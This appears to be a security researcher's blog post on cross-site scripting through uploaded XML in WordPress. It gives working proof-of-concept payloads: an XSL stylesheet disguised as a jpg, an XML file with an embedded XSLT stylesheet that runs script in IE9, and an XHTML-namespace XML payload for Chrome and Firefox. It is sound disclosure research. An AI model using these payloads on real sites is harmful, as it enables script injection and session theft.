Serving Back XML for XSS

In our “New ways I’m going to hack your web app” talk, one vulnerability example we had was with wordpress. There were three pieces to the attack 1) uploading an xsl file, 2) uploading an XML file that applied the XSL transform and 3) tossing the cookie up to execute script cross domain. Nicolas Grégoire watched our presentation and sent me an email wondering why we didn’t just use an XSLT stylesheet embedded in the XML. This is the same technique Chris Evans uses here: http://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html. I didn’t know this was even possible, but it turns out it makes step#1 unnecessary.

In our original example, we had this xsl file saved as a jpg:


<?xml version="1.0" encoding="utf-8" ?>
 <xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
 <h3>got it!!!!!</h3>
 <script>alert(1)</script>
 </xsl:template>
 </xsl:stylesheet>

And we had the xml that applied it as a wxr file.


<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="./badxsl.jpg"?>
<document>
 <x name="x">x</x>
 <abc>
 <def>def</def>
 </abc>
</document>

These can be combined the same way Chris Evans does it. So for script execution in just the wxr file, the end result looks like this:


<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="#stylesheet"?>
<!DOCTYPE responses[
<!ATTLIST xsl:stylesheet
id ID #REQUIRED
>
]>
<document>
<node />
<xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
 <h3>got it!!!!!</h3>
 <script>alert(1)</script>
 </xsl:template>
</xsl:stylesheet>
</document>

This fires in IE9:

 

This doesn’t work in Firefox or Chrome. But if an app is serving back xml then you always have other tricks, like trying to get the browser to render the xml as xhtml. Like the following works in Chrome whatever and Firefox 9, but not IE.

<?xml version="1.0"?>
<foo>
<html xmlns:html='http://www.w3.org/1999/xhtml'>
 <html:script>alert(1);</html:script>
</html>
</foo>